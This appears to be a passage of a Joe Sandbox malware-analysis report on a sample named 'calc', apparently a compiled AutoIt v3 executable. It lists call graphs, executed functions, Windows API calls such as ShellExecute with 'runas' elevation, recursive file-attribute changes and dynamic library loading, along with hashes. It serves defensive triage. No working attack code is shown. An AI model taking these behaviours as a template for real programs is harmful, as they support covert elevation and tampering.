50795->50796 50798 44bcfe 50795->50798 50802 44bce5 50795->50802 50822 44d915 34 API calls __umatherr 50796->50822 50799 44f869 _write_multi_char 38 API calls 50798->50799 50798->50802 50800 44bd9d 50799->50800 50801 44f869 _write_multi_char 38 API calls 50800->50801 50800->50802 50801->50802 50803 44be45 RtlLeaveCriticalSection RtlLeaveCriticalSection 50802->50803 50803->50594 50805 44f875 ___free_lc_time 50804->50805 50806 44f8f8 50805->50806 50808 44f8a0 50805->50808 50837 44d915 34 API calls __umatherr 50806->50837 50810 4508e0 _write_multi_char 35 API calls 50808->50810 50809 44f8fd 50838 44d91e 34 API calls __umatherr 50809->50838 50812 44f8a6 50810->50812 50813 44f8b4 50812->50813 50814 44f8c8 50812->50814 50823 44f7f5 50813->50823 50834 44d915 34 API calls __umatherr 50814->50834 50817 44f8c0 50836 44f8f0 RtlLeaveCriticalSection _write_multi_char 50817->50836 50818 44f8cd 50835 44d91e 34 API calls __umatherr 50818->50835 50819 44f8e8 ___free_lc_time 50819->50795 50822->50802 50839 45089f 50823->50839 50825 44f800 50826 44f816 SetFilePointer 50825->50826 50827 44f806 50825->50827 50829 44f837 50826->50829 50830 44f82f GetLastError 50826->50830 50846 44d915 34 API calls __umatherr 50827->50846 50832 44f843 50829->50832 50847 44d927 34 API calls __umatherr 50829->50847 50830->50829 50831 44f80b 50831->50817 50832->50817 50834->50818 50835->50817 50836->50819 50837->50809 50838->50819 50840 4508ab 50839->50840 50841 44d915 __umatherr 34 API calls 50840->50841 50842 4508c6 50840->50842 50843 4508ce 50841->50843 50842->50825 50844 44d91e _write_multi_char 34 API calls 50843->50844 50845 4508d9 50844->50845 50845->50825 50846->50831 50847->50832 50853 443300 50848->50853 50849 44a98f 44 API calls 50849->50853 50850 442e08 GetSystemTimeAsFileTime 50850->50853 50851 4431c5 50851->50512 50851->50539 50852 44a64b 45 API calls 50852->50853 50853->50849 50853->50850 50853->50851 50853->50852 50856 442e29 50854->50856 50855 442e49 50855->50529 50856->50855 50889 442bd5 GetSystemTimeAsFileTime 50856->50889 50859 441b6d 50858->50859 50861 441b7b 50858->50861 50860 44bc99 63 API calls 50859->50860 50860->50861 50862 441bc0 50861->50862 50863 44bc99 63 API calls 50861->50863 50888 441b84 50861->50888 50890 441c83 44 API calls 50862->50890 50864 441ba1 50863->50864 50864->50862 50866 441baa 50864->50866 50870 44a855 46 API calls 50866->50870 50866->50888 50867 441c02 50868 441c06 50867->50868 50869 441c27 50867->50869 50872 441c13 50868->50872 50874 44a855 46 API calls 50868->50874 50891 441cfe 34 API calls __getbuf 50869->50891 50870->50888 50875 44a855 46 API calls 50872->50875 50872->50888 50873 441c2d 50876 441c53 50873->50876 50877 441c33 50873->50877 50874->50872 50875->50888 50892 441f08 49 API calls 50876->50892 50879 441c40 50877->50879 50881 44a855 46 API calls 50877->50881 50883 44a855 46 API calls 50879->50883 50879->50888 50880 441c5a 50893 441d54 50880->50893 50881->50879 50883->50888 50885 441c6e 50887 44a855 46 API calls 50885->50887 50885->50888 50886 44a855 46 API calls 50886->50885 50887->50888 50888->50541 50889->50856 50890->50867 50891->50873 50892->50880 50894 441d61 50893->50894 50895 441d67 50893->50895 50897 449c88 ___free_lc_time 34 API calls 50894->50897 50896 441d78 50895->50896 50898 449c88 ___free_lc_time 34 API calls 50895->50898 50899 441c61 50896->50899 50900 449c88 ___free_lc_time 34 API calls 50896->50900 50897->50895 50898->50896 50899->50885 50899->50886 50900->50899 50901->50545 50903 44a835 50902->50903 50904 44a818 50902->50904 50912 44a89e RtlLeaveCriticalSection RtlLeaveCriticalSection 50903->50912 50913 44b36d 50904->50913 50910 44a82e 50910->50903 50911 449c88 ___free_lc_time 34 API calls 50910->50911 50911->50903 50912->50549 50914 44b382 50913->50914 50915 44a81e 50913->50915 50914->50915 50937 44fcac 41 API calls 3 library calls 50914->50937 50917 44fe75 50915->50917 50918 44fe81 50917->50918 50919 44a826 50917->50919 50918->50919 50920 449c88 ___free_lc_time 34 API calls 50918->50920 50921 44fdda 50919->50921 50920->50919 50922 44fde6 ___free_lc_time 50921->50922 50923 44fe59 50922->50923 50925 44fe11 50922->50925 50955 44d915 34 API calls __umatherr 50923->50955 50927 4508e0 _write_multi_char 35 API calls 50925->50927 50926 44fe5e 50956 44d91e 34 API calls __umatherr 50926->50956 50929 44fe17 50927->50929 50930 44fe25 50929->50930 50931 44fe31 50929->50931 50938 44fd57 50930->50938 50953 44d915 34 API calls __umatherr 50931->50953 50934 44fe2b 50954 44fe51 RtlLeaveCriticalSection _write_multi_char 50934->50954 50935 44fe49 ___free_lc_time 50935->50910 50937->50915 50939 45089f _write_multi_char 34 API calls 50938->50939 50940 44fd63 50939->50940 50941 44fda5 50940->50941 50943 44fd83 50940->50943 50944 45089f _write_multi_char 34 API calls 50940->50944 50957 450820 35 API calls 2 library calls 50941->50957 50943->50941 50945 45089f _write_multi_char 34 API calls 50943->50945 50947 44fd7a 50944->50947 50948 44fd8f CloseHandle 50945->50948 50946 44fdad 50952 44fdcf 50946->50952 50958 44d927 34 API calls __umatherr 50946->50958 50949 45089f _write_multi_char 34 API calls 50947->50949 50948->50941 50950 44fd9b GetLastError 50948->50950 50949->50943 50950->50941 50952->50934 50953->50934 50954->50935 50955->50926 50956->50935 50957->50946 50958->50952 50959->50362 50960->50357 50961->50360 50963 4161a1 LoadImageW 50962->50963 50964 41616d EnumResourceNamesW 50962->50964 50965 4012e6 50963->50965 50964->50963 50964->50965 50965->50381 50967 40428a LoadIconW 50966->50967 50969 401243 50967->50969 50969->50386 50971 44aecd ___free_lc_time 50970->50971 50972 44c6db __lock 32 API calls 50971->50972 50973 44aed4 50972->50973 50974 44aee5 GetCurrentProcess TerminateProcess 50973->50974 50975 44aef5 __startOneArgErrorHandling 50973->50975 50974->50975 50980 44af70 RtlLeaveCriticalSection __lock 50975->50980 50977 44af58 50978 44af6b ___free_lc_time 50977->50978 50981 44adfd 50977->50981 50978->50144 50980->50977 50982 44ae08 50981->50982 50983 44ae22 ExitProcess 50982->50983 50984 44ae0c GetProcAddress 50982->50984 50984->50983 50985 44ae1c 50984->50985 50985->50983

      Executed Functions

      Function 00439814 Relevance: 60.4, APIs: 11, Strings: 23, Instructions: 893libraryloaderCOMMON
      Download Yara Rule
      APIs
      • CharLowerBuffW.USER32(?,?), ref: 00439B3E
      • LoadLibraryW.KERNEL32(00000000), ref: 00439D9D
      • GetProcAddress.KERNEL32(?,00000000), ref: 00439E47
      • GetProcAddress.KERNEL32(?,00000000), ref: 00439E72
      • GetProcAddress.KERNEL32(?,00000000), ref: 00439EB3
      • FreeLibrary.KERNEL32(?), ref: 00439ECB
      • _strcat.LIBCMT ref: 00439F85
      • GetCurrentProcess.KERNEL32(00000000,00000067,000000FF), ref: 0043A15D
      • TerminateProcess.KERNEL32(00000000), ref: 0043A164
      • FreeLibrary.KERNEL32(?), ref: 0043A2A5
        • Part of subcall function 0041684E: _strlen.LIBCMT ref: 0041685F
        • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416879
        • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416898
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressCharLibraryProc$ByteFreeMultiProcessWide$BuffCurrentLoadLowerTerminate_strcat_strlen
      • String ID: cdecl$dword$hwnd$idispatch$idispatch_ptr$int$int_ptr$long$long_ptr$none$ptr$short$short_ptr$stdcall$str$string$udword$uint$ushort$winapi$wstr$wstring$#v
      • API String ID: 1015931265-1657871269
      • Opcode ID: b7f5250f3d76f2b796286c4aebe95d02976f0a3ff1a8833c05814b8d644c070d
      • Instruction ID: 62d45698e8f6199696b40485e1186079554493d45d8b932d3fe4b0ade1180d93
      • Opcode Fuzzy Hash: b7f5250f3d76f2b796286c4aebe95d02976f0a3ff1a8833c05814b8d644c070d
      • Instruction Fuzzy Hash: 2562B431D00618AFDF11DFA5C8416DEB7B1AF09314F1441ABE905BB2A1CBB99E85CF89
      Function 00425639 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 117fileCOMMON
      Download Yara Rule

      Control-flow Graph

      • Executed
      • Not Executed
      control_flow_graph 352 425639-425661 FindFirstFileW 353 425663-425665 352->353 354 42566a 352->354 355 425787-42578a 353->355 356 42566b-425686 call 44925f 354->356 359 4256c8-4256d8 FindNextFileW 356->359 360 425688-42569d call 44925f 356->360 359->356 362 4256da-4256e1 FindClose 359->362 360->359 368 42569f-4256c6 GetFileAttributesW SetFileAttributesW 360->368 364 4256e3-4256e5 362->364 365 4256f1-425705 FindFirstFileW 362->365 369 425786 364->369 366 425707 365->366 367 42577d 365->367 370 42570d-425714 366->370 372 42577f-425784 FindClose 367->372 368->359 371 4256ea-4256ec 368->371 369->355 373 425716-42572b call 44925f 370->373 374 425769-42577b FindNextFileW 370->374 371->372 372->369 373->374 377 42572d-425743 call 44925f 373->377 374->367 374->370 377->374 380 425745-425764 SetCurrentDirectoryW call 425639 377->380 380->371 383 425766-425767 SetCurrentDirectoryW 380->383 383->374
      APIs
      • FindFirstFileW.KERNEL32(00000000,?,?,00000000), ref: 00425657
      • GetFileAttributesW.KERNEL32(?,76228FB0), ref: 004256A6
      • SetFileAttributesW.KERNEL32(?,00000000), ref: 004256BE
      • FindNextFileW.KERNEL32(00000000,?,76228FB0), ref: 004256D0
      • FindClose.KERNEL32(00000000), ref: 004256DB
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: File$Find$Attributes$CloseFirstNext
      • String ID: *.*
      • API String ID: 3380241538-438819550
      • Opcode ID: 1236b3d9e8567393027ac3975af6954621a9665af5743f4ca753b3688c86b07b
      • Instruction ID: 4e70fa6d35b8864b9043a15bda1432a6da936626901fdaf7e3990b9e5699e330
      • Opcode Fuzzy Hash: 1236b3d9e8567393027ac3975af6954621a9665af5743f4ca753b3688c86b07b
      • Instruction Fuzzy Hash: E7319471601629FADF209FA0EC49EDF77ACAF44311F5004A7E804A2191EA79DE449B18
      Function 0040109D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 134COMMON
      Download Yara Rule

      Control-flow Graph

      APIs
      • GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 004010BF
        • Part of subcall function 004013E2: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00401412
        • Part of subcall function 004013E2: GetModuleFileNameW.KERNEL32(00000000,?,00000104,CmdLine), ref: 0040151F
      • SetCurrentDirectoryW.KERNEL32(?,?,?), ref: 0040116B
      • GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?), ref: 004011B2
      • GetForegroundWindow.USER32(runas,?,?,?,00000001,0045C5B4,?,0045C5B4), ref: 004011FC
      • ShellExecuteW.SHELL32(00000000), ref: 00401203
      • SetCurrentDirectoryW.KERNEL32(?,00000001,?,?), ref: 00401272
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CurrentDirectoryFileModuleName$ExecuteForegroundShellWindow
      • String ID: runas
      • API String ID: 1789910257-4000483414
      • Opcode ID: fca41f01e45967370695c3549b6e1bc3f8c9ac1c7ce2e165cd1ff878592f802b
      • Instruction ID: 93bf78c1261f2050e188375e0006e403e34581d150756637ae35598e928dc03f
      • Opcode Fuzzy Hash: fca41f01e45967370695c3549b6e1bc3f8c9ac1c7ce2e165cd1ff878592f802b
      • Instruction Fuzzy Hash: 5F41C571904258AEDF10ABA09C85BEE3B689B09315F0041BBF945B61E3C77CDD898B69
      Function 00430DCB Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 250comCOMMON
      Download Yara Rule

      Control-flow Graph

      APIs
      • OleInitialize.OLE32(00000000), ref: 00430E15
      • CLSIDFromProgID.COMBASE(00000000,?), ref: 00430E32
      • CoCreateInstance.COMBASE(?,00000000,00000005,0045AFF8,?), ref: 00430E71
      • CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 00430F05
      • CoCreateInstanceEx.COMBASE(?,00000000,00000010,?,00000001,?), ref: 0043103D
      • CoSetProxyBlanket.COMBASE(?,?,?,?,?,?,?,00000800), ref: 00431078
      Strings
      • NULL Pointer assignment, xrefs: 00431096
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CreateInitializeInstance$BlanketFromProgProxySecurity
      • String ID: NULL Pointer assignment
      • API String ID: 628432406-2785691316
      • Opcode ID: 5c06bdcd255b1af44cf6dbf1df8dc1709bf9c4df936050c641524a3b60c45350
      • Instruction ID: e386be8ca80e5d29cc4fe2e7b532a083d7082a5dc51ef75c75596564310f3180
      • Opcode Fuzzy Hash: 5c06bdcd255b1af44cf6dbf1df8dc1709bf9c4df936050c641524a3b60c45350
      • Instruction Fuzzy Hash: 7A91157290020CEFDF10EFA5DC81ADE7BB8FB08358F10462AF915A7251E7799D858B94
      Function 0040EA76 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON
      Download Yara Rule

      Control-flow Graph

      • Executed
      • Not Executed
      control_flow_graph 744 40ea76-40eac5 GetVersionExW call 4493b8 747 40eacb-40eb69 744->747 748 40ebce-40ebd1 744->748 751 40eca7-40ecc4 747->751 752 40eb6f-40eb7b 747->752 749 40ebd3-40ebd7 748->749 750 40ebbe-40ebc9 748->750 756 40ebe9-40ebfb call 449154 749->756 757 40ebd9-40ebe2 749->757 750->749 755 40ebcb 750->755 758 40ecc6-40ecc9 751->758 759 40ecf7 751->759 753 40eb81-40eb82 752->753 754 40ec97-40eca5 752->754 760 40ec33-40ec3f 753->760 761 40eb88-40eb89 753->761 762 40ecfe-40ed20 GetCurrentProcess call 40edd4 754->762 755->748 775 40ec01-40ec04 756->775 757->756 763 40ebe4-40ebe7 757->763 764 40ece7-40ecf5 758->764 765 40eccb-40ecce 758->765 759->762 767 40ec41-40ec4f 760->767 768 40ec54-40ec57 760->768 761->762 769 40eb8f-40eb9b 761->769 781 40ed22 762->781 782 40ed29-40ed42 762->782 763->756 763->757 764->762 765->762 770 40ecd0-40ece5 765->770 767->762 773 40ec70-40ec73 768->773 774 40ec59-40ec6b 768->774 769->775 776 40eb9d-40ebb9 769->776 770->762 773->762 778 40ec79-40ec95 773->778 774->762 775->762 779 40ec0a-40ec2e 775->779 776->762 778->762 779->762 781->782 783 40ed44-40ed56 call 40ee00 782->783 784 40ed86-40ed90 GetSystemInfo 782->784 792 40ed65-40ed69 783->792 793 40ed58-40ed63 call 40edea GetNativeSystemInfo 783->793 785 40ed72-40ed78 784->785 788 40ed92-40ed96 785->788 789 40ed7a-40ed84 785->789 790 40eda4-40eda8 788->790 791 40ed98-40eda2 788->791 794 40edc1-40edc4 789->794 795 40edb6-40edbb 790->795 796 40edaa-40edb4 790->796 791->794 800 40ed70 792->800 801 40ed6b-40ed6e FreeLibrary 792->801 793->792 797 40edc6-40edc9 FreeLibrary 794->797 798 40edcb-40edd3 794->798 795->794 796->794 797->798 800->785 801->800
      APIs
      • GetVersionExW.KERNEL32(?,00000000,004679CC), ref: 0040EA94
      • GetCurrentProcess.KERNEL32(?), ref: 0040ED0B
      • GetNativeSystemInfo.KERNEL32(?), ref: 0040ED63
      • FreeLibrary.KERNEL32(?), ref: 0040ED6E
      • GetSystemInfo.KERNEL32(?), ref: 0040ED8A
      • FreeLibrary.KERNEL32(?), ref: 0040EDC9
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: FreeInfoLibrarySystem$CurrentNativeProcessVersion
      • String ID: #v
      • API String ID: 3962325948-554117064
      • Opcode ID: fd84d08cd9ce2f4a01dc3825daa42302a09dd8bccc91ef5021881d8614257327
      • Instruction ID: f2ba6a2bae675f251a30583b53330f3553dad9bf7d35c900dc6b7b295430e01b
      • Opcode Fuzzy Hash: fd84d08cd9ce2f4a01dc3825daa42302a09dd8bccc91ef5021881d8614257327
      • Instruction Fuzzy Hash: 3DA1FC30449298CDEF11DF69C4887D53FA49F25308F1844FADC499E29BC2BA9698C7B6
      Function 0043244B Relevance: .6, Instructions: 624COMMON
      Download Yara Rule
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: _strcat
      • String ID:
      • API String ID: 1765576173-0
      • Opcode ID: b74d6b0b4cdaa55ab891e3e3bed31b96946f76edf7e19a225481c97117b44b67
      • Instruction ID: ad6fddf512afab15d5a1fa4b9b21ac99af1229bc60d9f9e6aa2c51089999b3cd
      • Opcode Fuzzy Hash: b74d6b0b4cdaa55ab891e3e3bed31b96946f76edf7e19a225481c97117b44b67
      • Instruction Fuzzy Hash: 02423631600219DBCF28EF59CA81AED77B1BF08304F55512BF81997262C778ED86CB89
      Function 0040127D Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 76windowregistryCOMMON
      Download Yara Rule

      Control-flow Graph

      APIs
      • GetSysColorBrush.USER32(0000000F), ref: 00401287
      • LoadCursorW.USER32(00000000,00007F00), ref: 00401297
      • LoadIconW.USER32(000000A1), ref: 004012B2
      • LoadIconW.USER32(000000A4), ref: 004012C1
      • LoadImageW.USER32(000000A1,00000001,00000010,00000010,00000000), ref: 004012F9
      • RegisterClassExW.USER32(?), ref: 0040134D
        • Part of subcall function 00416168: EnumResourceNamesW.KERNEL32(00000000,0000000E,0041605B,000000A1,004012E6,000000A1,?,?,?,?,?,?,?,00401243,?,?), ref: 00416192
        • Part of subcall function 00416168: LoadImageW.USER32(000000A1,00000001,00000010,00000010,00000000,004012E6), ref: 004161B3
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Load$IconImage$BrushClassColorCursorEnumNamesRegisterResource
      • String ID: #$0$AutoIt v3
      • API String ID: 3434626496-4155596026
      • Opcode ID: 372e31f16fea0fb377c9d9b2b166fb2a5c841b5732346904167e8dc8eb2c6d20
      • Instruction ID: 687afa9ac2c609e1a5e33ec6c472dbacfde120021dee70f4c48a98386cd57c87
      • Opcode Fuzzy Hash: 372e31f16fea0fb377c9d9b2b166fb2a5c841b5732346904167e8dc8eb2c6d20
      • Instruction Fuzzy Hash: 05314975D00318AFCB11DFA5EC88B9E7FB4EB48318F10447AE508AB3A1E3B45980CB59
      Function 00431B0A Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 256COMMON
      Download Yara Rule

      Control-flow Graph

      • Executed
      • Not Executed
      control_flow_graph 441 431b0a-431b3c 442 431b42-431b45 441->442 443 431db4-431dbb 441->443 442->443 445 431b4b-431b4e 442->445 444 431dbd-431dc2 call 4309c0 443->444 449 431dc7-431dcb 444->449 445->443 447 431b54-431b5d call 4199de 445->447 451 431b5f-431b68 447->451 452 431b6d-431b74 447->452 451->444 453 431b76-431b7f 452->453 454 431b84-431b8f call 4493b8 452->454 453->444 457 431bd2 454->457 458 431b91-431bb3 call 416034 454->458 459 431bd5-431bed call 449170 457->459 466 431bb7-431bbc 458->466 464 431bef-431bf3 459->464 465 431c3c-431c4e 459->465 469 431bf6-431c0e call 4216bb call 4301fc 464->469 467 431c50-431c5a 465->467 468 431c5d-431c9a VariantInit call 449660 465->468 466->459 470 431bbe-431bcd call 449078 466->470 467->468 478 431c9e-431ca3 468->478 482 431c10-431c1a 469->482 483 431c1e-431c36 call 4309c0 469->483 470->444 480 431ca5-431caa 478->480 481 431cda-431cde 478->481 484 431cfd-431d04 480->484 485 431cac-431cd6 480->485 486 431ce0-431ce7 481->486 487 431d06-431d15 call 418b39 481->487 482->469 488 431c1c 482->488 483->465 496 431d76-431d78 483->496 490 431cf0-431cfb call 4309c0 484->490 485->481 486->484 492 431ce9-431ced 486->492 497 431d17-431d1a 487->497 498 431d69-431d73 VariantClear 487->498 488->465 490->498 492->490 499 431d97-431da4 call 449078 496->499 500 431d7a-431d7d 496->500 502 431d1e-431d32 call 4216bb 497->502 498->496 510 431da6-431dae call 449078 499->510 511 431daf-431db2 499->511 503 431d83-431d87 500->503 513 431d53-431d54 call 4216bb 502->513 514 431d34-431d40 call 4216bb call 4186c7 502->514 506 431d89-431d8c VariantClear 503->506 507 431d8e-431d95 VariantClear 503->507 506->507 507->499 507->503 510->511 511->449 518 431d59-431d5b call 418b39 513->518 522 431d60-431d67 514->522 524 431d42-431d51 call 4216bb call 4186c7 514->524 518->522 522->498 522->502 524->518
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID:
      • String ID: Conversion of parameters failed$NULL Pointer assignment$Not an Object type$VENTOBJ
      • API String ID: 0-2292573353
      • Opcode ID: 4755cb53e4409388185389105b0b2e7a1e198d802851bdd96be41fb2e530ff23
      • Instruction ID: 2bcbba87d7390d1434edf13330aba9ece891a3e4bcb3d2eb952acb4fb6b50e10
      • Opcode Fuzzy Hash: 4755cb53e4409388185389105b0b2e7a1e198d802851bdd96be41fb2e530ff23
      • Instruction Fuzzy Hash: 10919E71A00309ABDF14DFA5CD85EEEB7B9AF08700F10511BF911A72A1D778AE40CB99
      Function 004253C3 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 213COMMON
      Download Yara Rule

      Control-flow Graph

      • Executed
      • Not Executed
